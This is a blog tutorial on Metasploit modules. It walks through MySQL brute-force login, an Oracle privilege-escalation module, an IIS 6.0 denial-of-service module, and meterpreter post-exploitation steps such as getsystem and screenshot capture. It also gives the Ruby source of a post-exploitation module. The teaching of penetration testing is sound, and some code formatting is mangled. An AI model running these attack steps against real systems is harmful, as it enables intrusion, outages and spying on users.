The Metasploit framework is based on a modular architecture. This means that all the exploits, payloads, encoders etc. are present in the form of modules. The biggest advantage of a modular architecture is that it is easier to extend the functionality of the framework based on requirement.
Any programmer can develop his own module and port it easily into the framework. Even though modules are not very much talked about while working with metasploit, but they form the crux of the framework so it is essential to have a deep understanding of it.
In this tutorial we will particularly focus on /framework3/modules directory which contains a complete list of useful modules which can ease up our task of penetration testing. Later in the chapter we will also analyse some of the existing modules and finally conclude the discussion by learning how to develop our own modules for metasploit. So let us start our experiments with modules.
Working with Scanner Modules
Let us begin our experimentation with scanner modules. We will start with scanning modules which ships with the framework. Even though nmap is a powerful scanning tool but still there can be situations where we have to perform a specific type of scan like scanning for presence of mysql database etc.
Metasploit provides us a complete list of such useful scanners. Let us move ahead and practically implement some of them. To find the list of available scanners we can browse to /framework3/modules/auxiliary/scanner.
You can find a collection of more than 35 useful scan modules which can be used under various penetration testing scenarios. Let us start with a basic HTTP scanner. You will see that there are lots of different HTTP scan options available. We will discuss few of them here.
Consider the dir_scanner script
. This will scan a single host or a complete range of network to look for interesting directory listings that can be further explored to gather information.
To start using an auxiliary module, we will have to perform following steps in our msfconsole:
msf > use auxiliary/scanner/http/dir_scanner
msf auxiliary(dir_scanner) > show options
Module options:
The show options command will list all the available optional parameters that you can pass along with the scanner module. The most important one is the RHOSTS parameter which will help us in targeting either a single user or a range of hosts.
Let us discuss a specific scanner module involving some extra inputs. The mysql_login
scanner module is a brute force module which scans for the availability of Mysql server on the target and tries to login to the database by brute force attacking it.
msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > show options
Module options (auxiliary/scanner/mysql/mysql_login
): Listing 1.
Listing 1. Module options
Name Current Setting Required Description
—- ————— ——– ———–
BLANK_PASSWORDS true yes Try blank pas..
BRUTEFORCE_SPEED 5 yes How fast to..
PASSWORD no A specific password
PASS_FILE no File containing..
RHOSTS yes The target address.
RPORT 3306 yes The target port..
STOP_ON_SUCCESS false yes Stop guessing…
THREADS 1 yes The number of..
USERNAME no A specific user..
USERPASS_FILE no File containing..
USER_FILE no File containing..
VERBOSE true yes Whether to print..
AS you can see there are lots of different parameters that we can pass to this module. The better we leverage the powers of a module, the greater are our chances of successful penetration testing. We can provide a complete list of username and password which the module can use and try on the target machine. Let us provide this information to the module.
msf auxiliary(mysql_login) > set USER_FILE /users.txt
USER_FILE => /users.txt
msf auxiliary(mysql_login) > set PASS_FILE /pass.txt
PASS_FILE => /pass.txt
Now we are ready to brute force. The last step will be selecting the target and provide the run command to execute the module (Listing 2).
Listing 2. Running a command to execute the module
msf auxiliary(mysql_login) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf auxiliary(mysql_login) > run
[*] 192.168.56.101:3306 – Found remote MySQL version 5.0.51a
[*] 192.168.56.101:3306 Trying username:’administrator’ with password:’’
The output shows that the module starts the process by first looking for the presence of mysql server on the target. Once it has figured out, it starts trying for the combinations of usernames and password provided to it through external text file. This is also one of the most widely used modular operations of metasploit in current scenario. A lot of automated brute force modules have been developed to break weak passwords.
Working With Admin Auxiliary modules
Moving ahead with our module experiment, we will learn about some admin modules which can be really handy during penetration testing. The admin modules can serve different purposes like it can look for an admin panel, or it can try for admin login etc. It depends upon the functionality of the module. Here we will look at a simple admin auxiliary module called mysql_enum
module.
The mysql_enum
module is a special utility module for mysql database servers. This module provides simple enumeration of mysql databse server provided proper credentials are provided to connect remotely. Let us understand it in detail by using the module. We will start with launching the msfconsole and providing the path for auxiliary module.
msf > use auxiliary/admin/mysql/mysql_enum
msf auxiliary(mysql_enum) > show options
Module options (auxiliary/admin/mysql/mysql_enum
):
Name Current Setting Required Description
—- ————– ——- ———–
PASSWORD no The password for the..
RHOST yes The target address
RPORT 3306 yes The target port
USERNAME no The username to..
As you can see that the modules accepts password, username and RHOST as parameters. This can help the module in first searching for the existence of a mysql database and then apply the credentials to try for remote login. There are several similar modules available for other services like MSSQL, Apache etc. The working process is similar for most of the modules. Remember to use the show options command in order to make sure that you are passing the required parameters to the module.
SQL Injection and DOS attack modules
Metasploit is friendly for both penetration testers as well as hackers. The reason for this is that a penetration tester has to think from hacker’s perspective in order to secure the network. The SQL injection and DOS modules help penetration testers in attacking their own services in order to figure out if they are susceptible to such attacks. So let’s discuss some of these modules in detail. The SQL injection modules use a known vulnerability in the database type to exploit it and provide unauthorized access. The modules can be found in modules/auxiliary/sqli/oracle
.
Let us analyse an oracle vulnerability called Oracle DBMS_METADATA XML
vulnerability. This vulnerability will escalate the privilege from DB_USER
to DBA (Database Administrator). We will be using the dbms_metadata_get_xml
module.
msf auxiliary(dbms_metadata_get_xml) > show options
Module options (auxiliary/sqli/oracle/dbms_metadata_get_xml
):
Name Current Setting Required Description
—- ———— ——– ———–
DBPASS TIGER yes The password to..
DBUSER SCOTT yes The username to..
RHOST yes The Oracle host.
RPORT 1521 yes The TNS port.
SID ORCL yes The sid to authenticate.
SQL GRANT DBA to SCOTT no SQL to execute.
The module requests for similar parameters which we have seen so far. The database first checks to login by using the default login credentials ie, “SCOTT” and “TIGER” as the default username and password respectively. This enables a DB_User level login. Once the modules gains login as a database user, it then executes the exploit to escalate the privilege to the database administrator. Let us execute the module as a test run on our target.
msf auxiliary(dbms_metadata_get_xml) > set RHOST 192.168.56.1
msf auxiliary(dbms_metadata_get_xml) > set SQL YES
msf auxiliary(dbms_metadata_get_xml) > run
On successful execution of module, the user privilege will be escalated from DB_USER
to DB_ADMINISTRATOR
.
The next module we will cover is related to Denial Of Service (DOS) attack. We will analyze a simple IIS 6.0 vulnerability which allows the attacker to crash the server by sending a POST request containing more than 40000 request parameters. We will analyze the vulnerability shortly. This module has been tested on an un-patched Windows 2003 server running IIS 6.0. The module we will be using is ms10_065_ii6_asp_dos
.
msf > use auxiliary/dos/windows/http/ms10_065_ii6_asp_dos
msf auxiliary(ms10_065_ii6_asp_dos) > show options
Module options (auxiliary/dos/windows/http/ms10_065_ii6_asp_dos
): Listing 3.
Listing 3. Module options
Name Current Setting Required Description
—- ————— ——– ———–
RHOST yes The target address
RPORT 80 yes The target port
URI /page.asp yes URI to request
VHOST no The virtual host name to..
msf auxiliary(ms10_065_ii6_asp_dos) > set RHOST 192.168.56.1
RHOST => 192.168.56.1
msf auxiliary(ms10_065_ii6_asp_dos) > run
[*] Attacking http://192.168.56.1:80/page.asp
Once the module is executed using the run command, it will start attacking the target IIS server by sending HTTP request on port 80 with URI as page.asp. Successful execution of the module will lead to complete denial of service of the IIS server.
Post Exploitation Modules
We also have a separate dedicated list of modules that can enhance our post-exploitation penetration testing experience. Since they are post exploitation modules so we will need an active session with our target. Here we are using an unpatched Windows 7 machine as our target with an active meterpreter session.
[raw] [/raw]
You can locate the post modules in modules/post/windows/gather
. Let us start with a simple enum_logged_on_users
module. This post module will list the current logged in users in the windows machine.
We will execute the module through our active meterpreter session. Also keep in mind to escalate the privilege using getsystem command in order to avoid any errors during the execution of module (Listing 4).
Listing 4. The Osage of getsystem command
meterpreter > getsystem
…got system (via technique 4).
meterpreter > run post/windows/gather/enum_logged_on_users
[*] Running against session 1
Current Logged Users
====================
SID User
— —-
S-1-5-21-2350281388-457184790-407941598 DARKLORD-PCDARKLORD
Recently Logged Users
=====================
SID Profile Path
— ————
S-1-5-18 %systemroot%system32configsystemprofile
S-1-5-19 C:WindowsServiceProfilesLocalService
S-1-5-20 C:WindowsServiceProfilesNetworkService
S-1-5-21-23502 C:UsersDARKLORD
S-1-5-21-235 C:UsersWinuser
Successful execution of module shows us two tables. The first table reflects the currently logged on user and the second table reflects the recently logged on user. Follow the correct path while executing the modules. We have used the run command to execute the modules as they are all in form of ruby script so meterpreter can easily identify it.
Let us take one more example. There is an interesting post module that captures a screenshot of the target desktop. This module can be useful when we have to know whether there is any active user or not. The module we will use is screen_spy.rb
.
meterpreter > run post/windows/gather/screen_spy
[*] Migrating to explorer.exe pid: 1104
[*] Migration successful
[*] Capturing 60 screenshots with a delay of 5 seconds
You might have noticed how easy and useful post modules can be. In the coming future, the developers of metasploit will be focusing more on post modules rather than meterpreter as it greatly enhances the functionality of penetration testing. So if you are looking to contribute to the metasploit community then you can work on post modules.
Basics of Module Building
So far we have seen the utility of modules and the power that they can add to the framework. In order to master the framework it is very essential to understand the working and building of modules. This will help us in quickly extending the framework according to our needs. In the next few recipes we will see how we can use ruby scripting to build our own modules and import them into the framework. To start building our own module we will need basic knowledge of ruby scripting. In this discussion we will see how we can use ruby to start building modules for the framework. The process is very much similar to meterpreter scripting. The difference lies in using a set of pre-defined scripting lines that will be required in order to make the framework understand the requirements and nature of module. Let us start with some of the basics of module building. In order to make our module readable for the framework we will have to import msf libraries.
require ‘msf/core’
This is the first and foremost line of every script. This line tells that the module will include all the dependencies and functionalities of the metasploit framework.
class Metasploit3 < Msf::Auxiliary
This line defines the class which inherits the properties of the Auxiliary family. The Auxiliary module can import several functionalities like scanning, opening connections, using databse etc.
include Msf::
The include statement can be used to include a particular functionality of the framework into our own module. For example, if we are building a scanner module then we can include as:
Include Msf::Exploit::Remote::TCP
This line will include the functionality of a remote TCP scan in the module. This line will pull out the main scan module libraries from the metasploit library (Listing 5).
Listing 5. Pulling out the main scan module from the metasploit library
def initialize
super(
‘Name’ => ‘TCP Port Scanner’,
‘Version’ => ‘$Revision$’,
‘Description’ => ‘Enumerate open TCP services’,
‘Author’ => [ darklord ],
‘License’ => MSF_LICENSE
)
The next few lines of script give us an introduction about the module like its name, version, author, description etc (Listing 6). The next few lines of the script are used to initialize values for the script. The options which are marked as ‘true’ are those which are essentially required for the modules whereas the options marked as false are optional. These values can be passed/changed during the execution of a module.
Listing 6. Module’s details
register_options(
[
OptString.new(‘PORTS’, [true, “Ports to scan (e.g. 25,80,110-900)”, “1-10000”]),
OptInt.new(‘TIMEOUT’, [true, “The socket connect timeout in milliseconds”, 1000]),
OptInt.new(‘CONCURRENCY’, [true, “The number of concurrent ports to check per host”, 10]), self.class)
deregister_options(‘RPORT’)
The best way to learn about modules is by mastering ruby scripting and by analyzing existing modules. Let us analyse a simple module here in order to dive deeper into module building. We will be analyzing ftp anonymous access module. You can find the main script at the following location: pentest/exploits/framework3/modules/auxiliary/scanner/ftp/anonymous.rb
.
Let us start with the analysis of the main script body to understand how it works.
def run_host(target_host)
begin
res = connect_login(true, false)
banner.strip! if banner
dir = Rex::Text.rand_text_alpha(8)
This function is used to begin the connection. The res variable holds the Boolean value true or false. The connect_login
function is a specific function used by the module to establish a connection with the remote host. Depending upon the success or failure of connection, the boolean value is stored in res (Listing 7).
Listing 7. Storing of the boolean value in res
if res
write_check = send_cmd( [‘MKD’, dir] , true)
if (write_check and write_check =~ /^2/)
send_cmd( [‘RMD’, dir] , true)
print_status(“#{target_host}:#{rport} Anonymous
access_type = “rw”
else
print_status(“#{target_host}:#{rport} Anonymous
access_type=”ro”
Once the connection has been setup, the module tries to check if the anonymous user has read/write privilege or not. The write_check
variable checks if a write operation is possible or not. Then it is checked weather the operation succeeded or not. Depending upon the status the privilege message is printed on the screen. If the write operation fails then the status is printed as ‘ro’ or read-only (Listing 8).
Listing 8. The result of the operation’s failure
report_auth_info(
:host => target_host,
:port => rport,
:sname => ‘ftp’,
:user => datastore[‘FTPUSER’],
:pass => datastore[‘FTPPASS’],
:type => “password_#{access_type}”,
:active => true
)
end
The next function is used to report authorization info. It reflects important parameters like host, port, user, pass etc. These are the values that appear to us when we use the show options
command so these values are user dependent.
This was a quick demonstration of how a simple module functions within the framework. You can change the existing scripts accordingly to meet your needs. This makes the platform extremely portable to development. As I have said it, the best way to learn more about module building is by analyzing the existing scripts.
Building your own Post Exploitation module
Now we have covered up enough background about building modules. Here we will see an example of how we can build our own module and add it into the framework. Building modules can be very handy as it will give us the power of extending the framework depending on our need.
Let us build a small post exploitation module that will enumerate all the installed applications on the target machine. Since it is a post exploitation module, we will require a compromised target in order to execute the module. To start with building the module we will first import the framework libraries and include required dependencies (Listing 9).
Listing 9. Importing the Framework libraries
require ‘msf/core’
require ‘rex’
require ‘msf/core/post/windows/registry’
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Registry
def initialize(info={})
super( update_info( info,
‘Name’ => ‘Windows Gather Installed Application Enumeration’,
‘Description’ => %q{ This module will enumerate all installed applications },
‘License’ => MSF_LICENSE,
‘Platform’ => [ ‘windows’ ],
‘SessionTypes’ => [ ‘meterpreter’ ]
))
end
The script starts with including the metasploit core libraries. Then we build up the class that extends the properties of Msf::Post
modules.
Next we create the initialize function which is used to initialize and define the module properties and description. This basic structure remains the same in almost all modules. Now our next step will be to create a table that can display our extracted result. We have a special library Rex::Ui::Text
which can be used for this task. We will have to define different columns (Listing 10).
Listing 10. Defining different columns
def app_list
tbl = Rex::Ui::Text::Table.new(
‘Header’ => “Installed Applications”,
‘Indent’ => 1,
‘Columns’ =>
[
“Name”,
])
appkeys = [
‘HKLMSOFTWAREMicrosoftWindowsCurrentVersionUninstall’,
‘HKCUSOFTWAREMicrosoftWindowsCurrentVersionUninstall’,
‘HKLMSOFTWAREWOW6432NODEMicrosoftWindowsCurrentVersionUninstall’,
‘HKCUSOFTWAREWOW6432NODEMicrosoftWindowsCurrentVersionUninstall’,
]
apps = []
appkeys.each do |keyx86|
found_keys = registry_enumkeys(keyx86)
if found_keys
found_keys.each do |ak|
apps << keyx86 +”” + ak
end
end
end
The script body starts with building the table and providing different column names. Then a separate array of registry locations is created which will be used to enumerate the application list. The application information is maintained in a separate array named as apps
.
Then we start the enumeration process by running a loop that looks into different registry locations stored in appskey
array (Listing 11).
Listing 11. The enumeration process
t = []
while(not apps.empty?)
1.upto(16) do
t << framework.threads.spawn(“Module(#{self.refname})”, false, apps.shift) do |k|
begin
dispnm = registry_getvaldata(“#{k}”,”DisplayName”)
dispversion = registry_getvaldata(“#{k}”,”DisplayVersion”)
tbl << [dispnm,dispversion] if dispnm and dispversion
rescue
end
end
The next lines of script populate the table with different values in respective columns. The script uses in-built function registry_getvaldata
which fetches the values and add them to the table (Listing 12).
Listing 12. The functions of the script
results = tbl.to_s
print_line(“n” + results + “n”)
p = store_loot(“host.applications”, “text/plain”, session, results, “applications.txt”, “Installed Applications”)
print_status(“Results stored in: #{p}”)
end
def run
print_status(“Enumerating applications installed on #{sysinfo[‘Computer’]}”)
app_list
end
end
The last few lines of the script is used for storing the information in a separate text file called applications.txt. The file is populated by using the store_loot
function which stores the complete table in the text file.
Finally an output is displayed on the screen stating that the file has been created and results have been stored in it.
The next step will be to store the complete program in respective directory. You have to makes sure that you choose the correct directory for storing your module. This will help the framework in clearly understanding the utility of module and will maintain a hierarchy.
To identify the location of module storage, there are following points you should look at:
• Type of module
• Operation performed by the module
• Affected software or operating system.
These are a few points to keep in mind before you save any module in any folder. Let us consider our module. This module is a post exploitation module that is used to enumerate a windows operating system and gathers information about the system. So our module should follow this convention for storing.
So our destination folder should be modules/post/windows/gather/
.
You can save the module with your desired name and with a .rb extension. Let’s save it as enum_applications.rb
.
Making the Module work
Once we have saved the module in its preferred directory, the next step will be to execute it and see if it is working fine.
msf> use post/windows/gather/enum_applications
msf post(enum_applications) > show options
Module options (post/windows/gather/enum_applcations
)
Name Current Setting Required Description
SESSION yes The session..
This was a small example of how you can build and add your own module to the framework. You definitely need a sound knowledge of Ruby scripting if you want to build good modules. You can also contribute to the metasploit community by releasing your module and let others benefit from it.
No comments:
Post a Comment